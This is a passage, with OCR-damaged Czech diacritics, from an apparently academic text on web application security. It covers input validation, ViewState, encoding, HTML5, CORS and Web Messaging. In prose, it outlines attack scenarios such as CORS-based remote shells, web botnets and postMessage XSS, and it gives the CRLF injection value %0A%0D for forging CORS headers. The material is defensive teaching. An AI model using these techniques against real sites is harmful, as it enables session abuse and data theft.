ukoncenym spojenim.

1.4 Validace dat

Cilem validace dat je zjisténi, zda jsou webové aplikace odolné proti vSem formam
vstupnich dat, at’ uz ziskané od uzivatelti, infrastruktury, externich entit nebo databazovych

systémd.

Nejbeznéjsi bezpecnostni slabinou vétSiny webovych aplikaci je pravé neschopnost
ovéfeni vstupnich informaci od uzivatele nebo prostfedi. Tato slabina, nebo se da fici 1
znacné bezpecnostni riziko, vede ve vétSin€ piipadi k zdvaznym zranitelnostem téchto

aplikaci. Jako jsou ,Interpreter Injection (injekce piekladace), utoky na lokalni a
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souborovy systém a ,,Buffer Overflows* (pfeteCeni vyrovnavaci paméti). Pro bezpecnost

webovych aplikaci je validace vstupnich a vystupnich dat zcela klicova.

V mnoha ptipadech je mozné pouzitim Sifrovani zmirnit toky spoléhajici se na nedostatky
v oveéfovani vstupnich dat. Napiiklad pokud je na uzivatelském vstupu pouzito kddovani
HTML entit>, neZ jsou odeslany do prohlizete, miZe se predejit v&tsing utokt XSS (Cross
Site Scripting). Nicméné jako prevence proti uUtokliim toto nestaci. Je potieba jeste
minimalné provést detekci moznych naruSeni webové aplikace. Jinak bude uto¢nikiim
umoznéno provadéni opakovanych napadani aplikace tak dlouho, dokud se jim nepodafi
najit dalsi zranitelnosti, proti kterym neni aplikace chranéna. Pravé detekce moznych

zranitelnosti aplikace je kritickym mistem bezpecnosti webovych aplikaci.
Pro validaci dat jsou dle [1] dilezité nasledujici definice:

- Kontrola integrity — ujistit se, ze s daty nebylo manipulovano a jsou stejna jako
predtim.

- Validace — ujistit se, ze data jsou silné typova, se spravnou syntaxi a délkou,
obsahujici pouze povolené znaky, s Cisly, kterd jsou spravné napsana i v ramci
jejich povoleného rozsahu.

- Obchodni pravidla — ujistit se, ze data nejsou jen validni, ale také Ze obchodni

pravidla jsou spravna. Naptiklad, Ze tirokové sazby padaji k povolenym hranicim.
1.4.1 Strategie validace dat
Pro ovéteni dat existuji Ctyfi strategie a mély by byt pouzité v nésledujicim potadi.
Priijimani znamych dobrych dat

Tato strategie je také znama jako ,,whitelist™ nebo ,,pozitivni* validace. To znamena, Ze
veSkerd data, kterd se nachdzi na seznamu, se po provedené prvotni kontrole, automaticky
stanou duveéryhodnymi a je mozné je bez dalSich kontrol povolit. Naopak vSechna data

neshodujici se se seznamem by méla byt zamitnuta. Data by méla byt:

- Zavsech okolnosti silné typova.

- Zkontrolovana na délku, v€etné minimalni délky pole.

® Entita v HTML znamen4 znak, jejimz kédovanim se miize piedejit zneuziti téchto znaki. Napriklad znak <
bude kodovan na &It; nebo samotné rovné uvozovky “ na quot.
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- Zkontrolovana na rozsah, pokud se jedna o Cisla.
- Nepodepsana, pokud musi byt podepsana.

- Zkontrolovana na syntaxi nebo gramatiku pied prvnim pouzitim nebo kontrolou.

Naptiklad pokud se jako vstup ocekava poStovni smerovaci ¢islo, tak se musi zkontrolovat

typ, délka a syntaxe (integer, 6, 1-9).
Odmitnuti znamych Spatnych dat

Tato strategie znama také jako ,blacklist“ nebo ,negativni validace je Spatnou
alternativou k pozitivni validaci. V podstaté pokud neni potfeba ocekavat znaky jako %3F
nebo JavaScript a dalsi, tak se jednoduse fetézce, které toto obsahuji, odmitnou. Jedna se
0 nebezpecnou strategii, protoze fada moznych Spatnych dat miize byt potencionalné
nekonecna. Pokud se pfijme, tak to bude pouze znamenat, Ze se bude muset udrzovat
seznam ,,Spatnych znamych* znakl a vzor. CoZ v kone¢ném disledku znamena netplnou

ochranu.
Cisténi
Rozhodné lepsim zpiisobem nez pfijimani a odmitani vstupnich dat je zména uzivatelského

vstupu do piijatelného formatu. Tuto zménu je mozné provést dvéma zplisoby:

- Cisténi za vyuziti ,,whitelistu — jedna se o zptisob, kterym vsechny znaky, které
nejsou soucasti schvaleného seznamu, budou vyménény, odstranény anebo
kodovany.

- Cisténi za vyuziti ,blacklistu“ — jedna se o zptisob, kdy snahou o bezpeény vstup
se odstrani (napiiklad odstranéni uvozovek) nebo preloZi znaky (napiiklad
na HTML entity). Opét se jednd pfistup, ktery vyzaduje stalou Gdrzbu seznamu a
jeden spravny pozitivni test, nez se pokouset o zahrnuti vSech negativnich polozek

jak pro soucasné, tak i pro budouci Gtoky.
1.4.2 Zabranéni manipulace s daty

Existuje mnoho vstupnich zdrojt:

- HTTP hlavi¢ky, jako REMOTE _ADDR, PROXY VIA a podobné.
- Proménna prosttedi, jako getenv() nebo pies vlastnosti serveru.

- Vsechny GET, POST a Cookie data.
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Mezi dals$i zdroje tdajn¢ odolné proti falSovani patii radio buttony (ptepinace), drop
downy (vybéry z nabidky) a dalsi. Je dilezité zminit, ze v podstaté jakykoliv HTML kéd
muze byt piepsan tak, aby vyhovoval uto¢nikovi k provedeni zamyslené¢ho ttoku. Déle

konfigura¢ni data a externi systémy, které¢ se také oznacuji jako systémy tietich stran.

Vsechny tyto zdroje lze oznacit za nedivéryhodné vstupy. Proto musi byt data pfijata
z neduvéryhodnych zdroji ptred prvnim pouzitim fadné zkontrolovana, aby se zamezilo

moznosti manipulace ze strany ato¢nika.

1.4.3 Skryta pole

Skryta pole predstavuji zplisob jak predavat data mezi strdnkami bez nutnosti pfistupu
na server. Bohuzel jejich pouziti odhaluje vnitini strukturu aplikace, kterou tim vystavuje
nebezpe¢i Utoku ve formé trividlniho umysiného poskozeni, piehravani a validace.

Pro pouziti skrytych poli, plati obecné tato pravidla:

- Tajné informace, jako je napiiklad heslo, by nikdy nemélo byt zaslano
Vv nezasifrované podob¢.

- Skryta pole musi projit kontrolou integrity a nejlépe v Sifrované podobé pomoci
nekonstantnich inicializacnich vektort.

- Sifrovana skryta pole musi byt odolna proti utokéim typu piehravani (replay), coz
znamena né¢jakou formu casového klicovani ptijatych dat.

- Data odesilana k uzivateli musi byt jesté jednou ovéfena na serveru, jakmile byla
piijata posledni stranka, 1 kdyz jiz byla pfedtim na serveru ovétena. Tento princip

pomaha snizovat riziko z utoku piehravani.

Pro ovéfeni integrity dat by mél byt pouzit alespon HMAC (Hash Message Authentication
Code) s kryptografickoou hashovani funkci SHA-1 nebo SHA-2, anebo by mél byt
digitaln¢ podepsany nebo Sifrovany pomoci technologie PGP. Nejjednodussi je doCasné
pro uzivatele nikdy viditelnd. Kod obsahujici skryta pole by mél byt béhem jeho revize

zamitnuty.

1.4.4 ASP.NET Viewstate

Relace (Sessions) a cookies slouzi k pfedavani dat mezi riznymi strankami nebo v ptipade
cookies 1 riznymi servery v téze doméné€. ViewState toto neumi. Jedna se o technologii

aplikacniho béhového prostiedi ASP.NET, ktera pomaha v obchazeni bezstavovosti
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protokolu HTTP tim, ze zajistuje uchovani stavu stranky od jejiho prvniho nacteni az
do doby jejiho opusténi. Pokud se komponentam nastavi néjaka vlastnost s néjakou
hodnotou, tak se tato zména ulozi do ViewState a odesle se spolu se strankou
do prohlizecée. Poté se pii PostBacku, tedy odeslani stranky zpét na server, odesle i uloZzeny
ViewState, diky kterému se nastavené¢ hodnoty vlastnosti komponent a stranky obnovi
do stavu, v jakém se nachazely po poslednim zpracovani na serveru. Nevyhodou této
technologie je moznost, ze ViewState naroste do obfich rozméra, disledkem c¢ehoz
se nacitani stranky, diky velkému objemu dat, miize hodn¢ prodlouzit. Je tedy nutné zvazit,

kterym komponentam ViewState povolit a kterym zakazat.

Konfigurace této technologie se nastavuje hierarchicky v .NET Frameworku v souboru
machine.config obsahujici globalni konfigura¢ni nastaveni. Kazdy webovy adresai muze
obsahovat konfigura¢ni soubor web.config, kterym lze upiesnit nebo nerespektovat
globalni nataveni a kazda stranka muze obsahovat @Page pro specifikace bud’ stejné
konfigurace, nebo ptepsané. Pro bezpecné pouzivani je nutné zkontrolovat vSechna tii

mista a zjistit, Ze aplikace je v nebezpeci:

- pokud je enableViewStateMac nastavena na ,,enable* a obsahuje autoriza¢ni udaje,

- pokud ViewStateEncryptionMode neni nastaven na ,,always* a ViewState obsahuje
piihlasovaci udaje,

- nebo pokud je hostitel sdilen s dalSimi uZivateli a tito vSichni sdileji stejny
»machine key“. Toto ovSem plati pouze pro starsi verzi ASP.NET 1.1. Od verze

ASP.NET 2.0 je mozné nastavit unikatni ViewState kli¢ pro kazdou aplikaci zvlast.

Stale plati, ze pokud jakdkoliv aplikace obsahuje citlivé udaje, vzdy je nutné pouzit

Sifrovani.
1.45 URL koédovani

Data odesland prostfednictvim URL adresy, coz se silné nedoporucuje, by méla byt
pro dal$i zpracovani kodovdna a dekoédovéana. Tento princip sniZzuje moznost provedeni
utoku typu XSS (Cross Site Scripting). Obecnym pravidlem je, Ze data by se pies metodu

GET neméla vibec ptedavat, pokud neslouzi pro navigacni ucely.
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146 HTML koédovani

Data odeslané uzivateli musi pro jejich prohlizeni byt bezpe¢na. Toho je mozné dosahnout
napfiklad pouzitim konstrukce <bean:write ...>. Nikdy se nesmi pouzit konstrukce

<%=var%>, pokud by méla byt poskytnuta jako argument pro <bean:write ...>.

HTML koédovani preklada fadu znakt do svych HTML entit. Naptiklad znak znaménka
vEtsi > prelozi jako &gt;. Ve webovém prohlizeéi uzivatele se tento znak i pfi pouziti entity

zobrazi jako znaménko vétsi.

1.4.7 Kodovani retézcu

Jakékoliv fetézce je mozné posilat v zakddované podobé, ale jen nékteré fetézce je mozné
v této podobé pfijmout. Zaroven s tim je také dulezité, aby bylo zaslano i spravné
lokaliza¢ni misto, pomoci kterého by mohl webovy a aplikacni server poskytnout

jednoduchou uroveti kanonizace®.

Pokud bude potieba pfijimat fetézce v kodované podobé, tak by neméli byt pouzivany
metody pro znakové (GetReader()) nebo bytové (GetResponseStream()) cteni vstupniho
proudu dat od klienta, nebot’ tyto neumi dekddovat. Pokud se tyto konstrukce pieci jen

pouziji, tak se musi dekanonizace provést ru¢n¢.

® Kanonizace — proces, kterym se data, kterd lze vyjadfit mnoha riznymi zptsoby, prevad&ji na jednu
zvolenou ,,zékladni* reprezentaci.
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2 BEZPECNOST TECHNOLOGIE HTML5

Posun k nové revizi jazyka HTMLS sice znamena nové moznosti a vylepseni v podobé
webovych aplikaci, ale i pfichod nové generace zranitelnosti, o kterych se zatim moc
nemluvi a ani nepiSe. Lze tedy ocekdvat rychly vyvoj novych vektori pro utok

na technologii HTMLS5.

Diky pfili§ velké jednoduchosti jazyka HTML4, do soucasnosti nejvice pouzivaného, bylo
nutné vyuzivat ve webovych aplikacich, ale i webovych strankéach technologii tietich stran,
jako jsou napiiklad Flash spole¢nosti Adobe, JavaScript z autorské dilny Netscape,
SilverLight spole¢nosti Microsoft, GoogleGears spolecnosti Google a mnoho dal$ich. Tyto
jsou ale z hlediska bezpe€nosti Castym tercem utoktll, diky ¢emuz se celd platforma stala
velmi zranitelnou. HTMLS vétSinu téchto utokii dokaze eliminovat diky tomu, Ze nabizi
uceleny jazyk s plnou podporou a integraci skriptovani, databazi, multimédii a tlozist
pro offline praci, kterymi lze vytvaret aplikace pfimo v prohlizecich jen za pouziti této
nové technologie. Bohuzel naptiklad lokalni tlozisté pro offline praci v prohliZeci se stane
vyhleddvanym teréem uto¢nikd, vzhledem ke vSem skytajicim moZnostem, kterou tato

technologie nabizi.

Tim se zaroven odpovédnost za celkovou uroven zabezpeceni piesouva na tvirce
webovych prohlizect, jelikoz doposud byl tento prohlize¢ ,,pouze® vstupni branou
pro napadeni pocitace Utocniky. Nyni se stavd sdm o sobé prostfedkem slouZicim

k odcizeni uzivatelskych dat.

Jedna z mozZnosti jak zneuzit naptiklad aplika¢ni offline cache vytvofenou prohlizecem je
V podsunuti prakticky libovolného obsahu. Tim napiiklad mlzZe byt Utocnikova faleSna
stranka s existujici sluzbou, na kterou je uZivatel nasledné pfesmérovan. Uzivatel na takové
strance napodobujici tieba internetové bankovnictvi nebo socialni sit’ zada své ptihlasovaci
udaje a tyto jsou nasledné odcizeny. Pravé rozhrani pro uklddani uzivatelskych dat, tedy
aplikacni cache, na lokalni loZisté pocitace je nejvice kritizovanou novinkou technologie
HTMLS z hlediska bezpecnosti a bude vyzadovat daleko vétSi pozornost pii jejim

dikladném zabezpeceni.

Stejné tak jako nova technologie oznaend Sandbox (jednd se o atribut znacky iframe),
ktera v HTMLS5 bude ptindSet mnohem vétsi hrozby ve spojitosti s ClickJackingem
(zplsob utoku pii kterém na zdanlivé neSkodné strdnce spusti uzivatel, napf. klikem

na tlacitko ¢i obrazek, néjakou jim nezamysSlenou akci), jelikoz webova stranka neni
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schopna provést identifikaci pfichoziho ptikazu. To znovu otevira jiz diive vyieSené
problémy, které mély chranit aplikace pied ClickJackingem, protoze tyto v soucasnosti

pouzivané metody v prosttedi HTMLS zatim nefunguyji.

V HTMLS byla také vytvorena nova forma cookies, ktera je pro standardni uzivatele bézné
neviditelnd. To mtze vést ke snahdm o provedeni utoku na tyto cookies s cilem ziskat
napiiklad databazi URL adres, které dany uzivatel navstivil a jaké do nich zadal informace.
Coz v kone¢ném diisledku dava ato¢nikiim nové moznosti pro zachyceni a ziskani velkého

mnozstvi dat, které mohou nasledné zneuzit.

Dalsi hrozbou spojenou s technologii HTMLS5 je funkce pro ptedavani geolokac¢nich
informaci, ktera maze uto¢nikovi umoznit odhalit misto, kde se uzivatel aktualné nachazi,
aniz by ten o tom m¢él jakékoliv tuseni. Kaskddové styly mohou umoznit uto¢nikiim
ovladani v prohliZze¢i zobrazovanych elementii. Funkce WebSocket miize byt zneuZita
Kk neautorizované komunikaci za ucelem odposlechu v realném case vyménovanych
informaci vytvarenych komunika¢nimi spojenimi mezi webovou aplikaci a serverem a to
VvV redlném cCase. Vycet moznych hrozeb a rizik, které s sebou nova technologie HTMLS5
pfindsi je mnohem S§ir$i a tkolem nasledujici kapitoly. Sila pro web, kterd spolu s HTMLS

prichazi, umozni uto¢nikiim vyuzit 1 vektory utoku jaké doposud nebyly mozné.

Navzdory vSem moznym problémum, které spolu s technologii HTMLS ptichazi, ptinasi
tato technologie i mnoho bezpe¢nostnich bonust. Naptiklad technologie Adobe Flash byla
z hlediska zabezpeceni v poslednich letech naprostym utrpenim. Odpadne nutnost se
na takovéto rizikové doplilky spoléhat a hlidat jejich aktudlnost. Naopak diky nové

moznosti validace vstupnich dat na strané klienta se mize bezpecnost jesté vice zlepsit.

2.1 Cross-Origin Resource Sharing

CORS neboli Cross-Origin Resource Sharing, nékdy také oznaCovan jako Cross-Site
XMLHttpRequest je pomérné nova technika, kterd pomaha v feSeni problému s ptistupem
k datim tfetich stran z webovych aplikaci. Zkracené se v podstaté jedna o legitimni
zpiisob, jakym se daji pomoci tzv. ,,hacki’* obejit bezpecnostni politiky stejného paivodu,

neboli SOP (Same Origin Policy), webovych prohlize&i. Ukolem bezpeénostnich politik

" Hack — pranik, vniknuti do systému
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v ramci webového prohlizece je spustit pouze skripty ze stejného zdroje, resp. ze stejné
doménové adresy serveru (napt. mojedomena.cz), ze které¢ho jsou data ziskavana. Jediné
poruseni téchto pravidel bylo tolerovano pro ptipad subdomény (subdomena.domena.cz)
nebo protokolu (zména HTTP na HTTPS), popiipadé i jiného portu webového serveru.
Toto omezeni mélo predevSim zabranit moznosti vlozeni ciziho skriptu, kterym by

napiiklad mohlo dojit k neopravnénému ziskani nebo modifikaci dat.

S rozsifenim pouzivani JavaScriptu, resp. s nastupem technologie HTMLS, kterymi lze
vytvaret komplexni aplikace, tato restrikce jiz ztraci opodstatnéni. Pravé u novych
standardi webovych aplikaci je potifeba zobrazovat a vyuzivat data z jinych datovych
zdroji, nez jen ze stejné domény. K tomuto ucelu slouzi moznost nastaveni hlavicek, které
vraci webovy server. Pokud server, ktery tato data poskytuje, uvede v hlavickadch odpovédi
nékterou u platnych direktiv Access-Control-*, bude uzivatelsky kod smét ziskana data
pouzit k dalsimu zpracovani. V soucasnosti ma CORS definovano celkem 9 hlavicek [4],

které mohou byt bohuzel pouzity i k pfipadnému zneuziti.

HTTP Request

Origin
Access-Control-Request-Method
Access-Control-Request-Headers

HTTP Response
Access-Control-Allow-Origin
Access-Control-Allow-Credentials
Access-Control-Allow-Expose-Headers
Access-Control-Allow-Max-Age
Access-Control-Allow-Methods
Access-Control-Allow-Headers

Nejvetsi pozornost by méla byt zaméfena na hlavicku Access-Control-Allow-Origin,

jelikoz tidi ptivod (tj. strana serveru), dotazujici se strany.

Pokud napt. server http://www-server vrati na dotaz odpovéd s hlavickou

Access-Control-Allow-origin: http://webaplikace-muj-server,

| HTTP/1.1 200 OK i
i Content-Type: text/html |
i Access-Control-Allow-Origin: http://webaplikace-muj-server |

1
bude to znamenat, ze aplikace http://webaplikace-muj-server muze pracovat s daty

ziskanymi z http://www-server pomoci XMLHttpRequest.


http://webaplikace-muj-server/
http://webaplikace-muj-server/
http://www-/
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Dana specifikace také umoziiuje operace s piipravnym dotazem (preflight request), jejimz
ucelem muze byt napiiklad zjisténi, zdali jsou pozadovanad data pro webovou aplikaci
dostupna. Nebo také umoziuje omezit casovou platnost dotazu a upravuje i1 dalsi slozitéjsi

piipady uziti.
2.1.1 Zranitelnosti

Zakladnim bezpecnostnim problémem této technologie je moznost odeslani pozadavki
XMLHttpRequest napfi¢ jednotlivymi doménami, aniz by o toto povoleni pozadal
uzivatele. Ve skuteCnosti jsou tyto zadosti zasilany bez védomi uzivatele, coZ miZze byt
vyuzivano k obchazeni bezpec¢nostnich pozadavkl pro kontrolu ptistupu (Access-Control)
prostfednictvim zneuziti relace uzivatele. Znamend to tedy, ze tyto pozadavky jsou

provadény jménem obéti, diky c¢emu muiize dojit k ovéteni relace.

Piimym pfistupem ke zdrojim dat pomoci obchéazeni kontrol pfistupi (Access-Control)
nebo nepiimym pfistupem k divérnym informacim zneuzitim relace uzivatele schopné
shromazd’ovat informace o prostiedi obéti, vede k podstatnému snizeni, ne-1i k uplné ztraté

davéryhodnosti.

Dal$im problémem CORS muze byt, pokud se zdroj dat neomezuje na puvod serveru.
Je nutné, aby data z cizich zdrojl, které miZe uZivatel nacitat a které nemohou byt ovéieny
puvodem domény, byly povazovany za nedivéryhodné. Z toho diivodu je dulezité, aby
data ptijata pres CORS musela byt uzivatelem ovéfena. Dany pozadavek na ovéteni dat se

tyka také Web Messaging (kapitola 2.2) a rozhrani Web Sockets (kapitola 2.3).

2.1.2 Hrozby a scénare utoku

V nasledujicich podkapitolach bude uvedeno nékolik scénaiti utokti pro hrozby souvisejici
s technologii CORS. Myslenkou k témto scénaiim byla motivace z [5]. Nasledujici

seznam popisuje jak hrozby, tak i pozadavky pro bezpecnost:

- Obchazeni kontrol pfistupi (Access-Control) — pfistup vnitini webové stranky
Z internetu je moZny, pokud ma tato stranka v hlavicce nespravné definovanou
direktivu Access-Control-Allow-Origin nebo zakladni rozhodnuti kontroly pfistupu
je postaveno na Spatnych odhadech.

- Vzdalené utoky na webovy server — odesilajici se pozadavky mohou byt také
zneuzity k utoku na jiny web server, a to prostfednictvim webového prohliZzece

libovolného wuzivatele, ktery Skodlivé webové stranky navstivi. Tim dojde
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2.1.3

k pferuseni bezpecnostnich pozadavkl na bezpe¢nou manipulaci s relaci, protoze
uto¢nik bude schopen zneuzit této relace k nekalym uceltm.

Shromazd’ovani informaci — skenovanim vnitini sité stavajicich doménovych jmen
1ze pomoci pozadavki XMLHttpRequest na zaklad¢ doby odezvy ziskat informace.
Diky tomu dojde ke ztraté daveéryhodnosti, jelikoz budou citlivé informace piredany
uto¢nikovi.

Vytvoreni vzdaleného shellu® — pozadavky XMLHttpRequest mohou byt zneuzity
k vytvofeni vzdaleného shellu aplikace a ke kontrole chovani aplikace
prostfednictvim tohoto vzdaleného shellu. Tim dojde k pteruseni bezpecnostniho
pozadavku na bezpecné fizeni relaci (Secure session management), protoze tak jako
v ptipad¢ vzdaleného ttoku bude utoc¢nik schopen zneuzit této relace k nekalym
ucelim.

Zvetejnéni divérnych informaci — pokud je v pfislusné hlavicce definovana zadost
i pres to, ze muze byt dostupna pouze pomoci JavaScriptu, tak odpovéd’ na cizi
doménu bude vzdy odeslana. Této funkcionality, kterou CORS nabizi novy
flexibilni zptisob na provedeni, miize Gto¢nik vyuzit k posilani citlivych dat na sviij
Server.

Webovy botnet® — pomoci CORS a jinych HTMLS funkci, zejména rozhrani Web
Socket, 1ze vytvotit webovy botnet.

DDoS utoky pomoci CORS a Web Workers — ttoky typu DDoS (Distributed

Denial of Service) je mozné provést pomoci kombinace CORS a Web Workers.

Doporuceni

Hrozby Vzdalené¢ utoky na webovy server, Shromazd’ovani informaci, Vytvofeni

vzdaleného shellu, Zvetejnéni divérnych informaci a Webovy botnet uvedené v predchozi

kapitole (2.1.2) nemohou byt prostfednictvim implementované bezpecnosti kompletné

zmirnény. Stejné¢ jako neumoZznuji zmirnéni hrozeb implementovanou bezpecnosti

na strané serveru. Toho lze dosdhnout pouze aplikaci jinych bezpe€nostnich sluzeb jako

8 Shell - interpret pro vytvoieni ptikazového fadku nebo prostiedi, pomoci kterého Ize ovladat jiné programy.
’ Botnet — oznacuje sit’ poéitadi uréenych pro provadéni nezadoucich &innosti jako je rozesilani spamu,
DDoS tutoky a dalsi.
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napiiklad pomoci webového aplika¢niho firewallu (WAF) umoziujici zablokovani CORS

zadosti, kterych v ur¢itém okamziku dorazi vic nez je stanovenou hranici povoleny pocet.
Doporuceni pro snizeni rizik zranitelnosti vychazi z [6]:

- Overit URL adresu predanou XMLHttpRequest.open. Soucasné webové prohlizece
umoznuji témto URL adresdm zobrazeni ve vice panelech nebo oknech, coz je
chovani, které mize vzdalenym uto¢nikem vést k provedeni Gtoku typu injection.
Proto je také dulezité vénovat zvySenou pozornost absolutnim URL.

- Ujistit se, ze URL adresy reagujici na Access-Control-Allow-Origin: * neobsahuji
zadné divérné obsahy nebo citlivé informace, které by mohly (podpofit utoc¢nika)
pomoci uto¢nikovi v jeho dal$ich ttocich. Pouzit hlavicku Access-Control-Allow-
Origin pouze pro vybrané URL adresy (rozhodn¢ ji nepouzivat pro celou doménu),
u kterych je nutné, aby se k nim mohlo pfistupovat ve vice soucasné otevienych
panelech nebo oknech.

- Byt velmi obezfetny pti pouziti hlavicky Access-Control-Allow-Credentials,
zejména v pravosti jeji odpovédi.

-V hlavickach Access-Control-Allow-Origin povolit pouze vybrané a divéryhodné
domény. Vzdy preferovat seznam domén z whitelistu pfed seznamem zakazanych
domén obsazenych v blacklistu nebo dalSich povolenych domén prostfednictvim
zastupného symbolu *.

- Je dlleZité mit na paméti, ze CORS nedokaze zabranit jednotlivym pozadavkim
prevence proti CSRF utoktm.

- Zatimco RFC doporucuje ptipravny dotaz s vybérovym slovesem (OPTIONS),
soucCasna implementace tento pozadavek provést neumoznuje. Je tedy dilezité, aby
»obycejné* (GET a POST) pozadavky provadély nutnou ptistupovou kontrolu.

- Z vykonnostniho diivodu mohou byt pfipravné dotazy po uritou dobu ulozeny
na stran¢ uzivatele (kontrolou hlavicky Access-Control-Max-Age). V ptipadé chyb
hlavi¢ek miiZze byt bezpe¢nostni model CORS obchéazen prostfednictvim ttoka typu
injection v kombinaci s pfipravnym uklddanim do mezipaméti. A to tak, Ze se
na stranu serveru piida opatfeni k zabrdnéni zranitelnosti typu HTTP Response

Splitting.
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- Eliminovat zadosti dorucené prostfednictvim prosttho HTTP protokolu
S pivodnimi daty z HTTPS protokolu k zabranéni chyb zpisobené smisenym
obsahem.

- Nespoléhat se pouze na kontrolu hlavi¢ky direktivy Access-Control-Allow-Origin.
Webovy prohlize¢ totiz tuto hlavicku vzdy odeSle v CORS zadosti, ale mimo
prohlize¢ muze byt fale$nd. K ochrané citlivych obsahti by mély byt vzdy pouzity
protokoly aplikacni Grovné.

Kromé vsech vyse uvedenych doporuceni je také dilezité vénovat pozornost tomu, aby

nebyl umoznén Utok formou HTTP header injectionlo.

Naptiklad tim, ze fetézec %0A%0D bude v odpovédi dodatecné vlozen na konec fadku
tak, aby si webovy prohlize¢ myslel, ze direktiva Access-Control-Allow-Origin byla
definovana serverem. Pokud totiz bude umoznén utok formou HTTP Header Injection
(také HTTP Response Splitting), tak Gto¢nik bude schopen piepsat nebo nastavit hlavicku
direktivy Access-Control-Allow-Origin dle své potieby.

2.2 Web Messaging

Pro komunikaci mezi prohlizenim obsaht HTML dokumentt definuje technologie
HTMLS specifikace nového rozhrani Web Messaging dvé funkce [7]. Prvni se nazyva

Cross-Document Messaging a druha Chanell Messaging.

Cross-Document Messaging umoziuje vzajemnou komunikaci mezi dokumenty pomoci
zasilani zprav (eventil), a to aniz by jejich obsah pochazel ze stejné domény. Pomoci
JavaScriptu tak mohou mezi sebou komunikovat riizna okna bez ohledu na jejich ptvod.
Ptipadné povoleni nebo zakazani piistupu je ponechdno pouze na vuli vyvojaie webové
aplikace. Zasilani zprdv pomoci metody postMessage vyzaduje specifikaci cile zdroje,
ktery mize byt bud’ URI, zastupny znak (*) nebo soucasny ptvod (/). Cil zdroje je tedy

znovu porovnan se zdrojem okna dokumentu, ve kterém byla tato metoda vyvolana. Pokud

vvvvvv

mohou nastat, kdyz jsou HTTP hlavicky dynamicky generované na zaklad¢ uzivatelského vstupu.
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je zprava odeslana Spatnému zdroji, tak bude zahozena. V opatném ptipadé bude

PO zpracovani pfijata.

Druha funkce specifikace Web Messagingu se nazyva Chanell Messaging, jejimz ucelem
je pomoci JavaScriptu poskytnout jinou moznost komunikace provozovanou v riznych
doménovych souvislostech. Tato funkce je zaloZzena na vytvofeni kandlu
implementovaného jako obousmérného tunelu s porty na konci kazdé strany, pomoci nichz
bude naslednd komunikace probihat. K tomuto ucelu stejné¢ jako ve funkci Cross-
Document Messaging slouzi metoda postMessage umoziiujici prochazeni portd mezi
dvéma souvisejicimi prohlizeci a nabizejici operaci s moznosti zasilani zprav udalosti. Tato
operace, za vyuziti metody postMessage, dokaze piijmout zpravu a piipadné i pole porti,
které by ovSem mély byt po pouziti explicitné uzavieny, aby se zabrdnilo zbyte¢nému
plytvani zdrojh.

Z hlediska bezpecnosti si jsou obé funkce velmi podobné, proto bude v nasledujicich

podkapitolach pouzivana pouze funkce Cross-Document Messaging.

2.2.1 Zranitelnosti

Web Messaging pifinasi do aplikaci nejen vylepSené zabezpeceni pro integraci externich
zdroji, ale také nové bezpecnostni hrozby a rizika. Soucasny hlavni problém Web
Messagingu je v piesunuti bezpecnostnich hranic, kde obsah webové stranky jiz neni
omezen jen obsahem plivodni domény, ale mize piijimat i data z jinych domén. A to bez
jakéhokoliv podilu serveru spravujiciho danou webovou aplikaci, napiiklad pomoci
iframii*'. Duisledkem toho je, e server nemiize kontrolovat viechna pfijata a odeslana data,
pokud tato vyména probiha pravé mezi iframy. Tim lze na strané serveru dosahnout
moznosti, jak obejit potfebnou kontrolu dat a umoznit tak Skodlivému obsahu, aby mohl

byt odeslan z jednoho iframu do jiného.
To muize mit dopad na bezpe€nostni pozadavky pro validaci dat, jejichZz porusenim
se oteviraji moznosti, které Utocnik miZe vyuzit k prolomeni nékolika dalSich

bezpec¢nostnich poZadavkl. V zavislosti na datech se také muize Utocnikovi do aplikace

1 |Frame — nebo také ,inline frame* (vloZeny ram) je HTML element umoZitujici ve webové strance vymezit
definovanou plochu pro vloZeni jiné webové stranky.
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podafit propasovat a spustit JavaScriptovy kod, kterym muze do aplikace vstoupit se

stejnymi opravnénimi, jakymi by mohl uZzivatel porusit dalsi bezpecnostni pozadavky.

/4

2.2.2 Hrozby a scénare utoki

Popsané bezpecnostni problémy v piedchozi kapitole popisujici zranitelnosti (kapitola

2.2.1) mohou mit za nasledek dv¢ hrozby:

- Zvetejnéni divérnych tdaji — citliva data budou zaslana do Spatného, nespravného

iframu. Tim dojde k poruSeni bezpecnostniho pozadavku povinnosti ml¢enlivosti.

- Rozsifend plocha utoku aplikace — prostfednictvim iframd mohou byt zasilany
zpravy jinému iframu. Pokud tento iframe, ktery zpravu pfijimd, neprovede
kontrolu piivodu zdroje anebo povoli zpracovani nedivéryhodnych vstupnich dat,
umozni tim pifipadnym utocniklim zahdjit Gtoky pravé proti t€émto iframim. Tim

dojde k poruseni bezpe¢nostniho pozadavku na validaci dat.

Tyto hrozby jsou vyuZzivany k toku, pro ktery se predpoklada, ze webova aplikace je
postavena z nékolika framt (rdmi) obsahujici data riznych zdroji. Prvni verze Web
Messagingu umozinovala mit ve webové aplikaci pouze dva iframy obsahujici data ze dvou
riznych zdroji (dvou riznych domén), které mohli vyvojafi kontrolovat a nastavovat jim
davéryhodnost. Jenze toto vyvojaiim nestacilo a proto navrhli metodu Cross-Document

Messaging, kterd umoziuje zasilani zprav mezi témito iframe bez omezeni:

- Cilem pro metodu postMessage() bude nastaveni parametru na *, jelikoz oba
iframy potiebuji vstupni data a takovy néavrh, aby s t€émito vstupy bylo spravné
manipulovano. Citliva data budou také predavana prostfednictvim Web

Messagingu.

- Pfijimaci iframy nemusi provadét kontrolu piivodu, protoze to nebude nutné

vzhledem Kk tomu, Ze se bude ocekavat pouze jeden pivod.

- Pro jednodusi vzhled stranky se vyvojafi rozhodli pouzit jako vstup innerHTML",

Cimz budou schopni ovlivnit, jak bude vstup vykreslen v piijimacim iframu.

2 innerHTML — hodnotou této javascriptové vlastnosti prvku dokumentu je vnitini HTML kod.
Napt. <p id="radek“><b>prvni</b>fadek</p>, pak document.getElementByld(“radek*).innerHTML ma
hodnotu ,,<b>prvni</b>tfadek*.
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Ve druhé verzi se vyvojaii rozhodli zafadit z externiho zdroje gadget™. Po prohlédnuti
zdrojového koédu zjistili, ze tim, ze tento gadget nepouzivd zadnou funkci z Cross-

Document Messagingu se ve zpusobu jakym se pouziva, nic nezménilo.

Zranitelnosti gadget ve webové aplikaci neni Uto¢nik schopen zjistit, ale je schopen
vyuzit jejich zranitelnosti v atoku formou XSS (Cross-Site Scripting). Naptiklad tim, Ze
uto¢nik bude sam poskytovatelem gadgetu. Forma XSS utoku miize spocivat v tom, ze
utocnikovi bude umoznéno prejit pomoci JavaScriptového kodu z gadgetu do webové
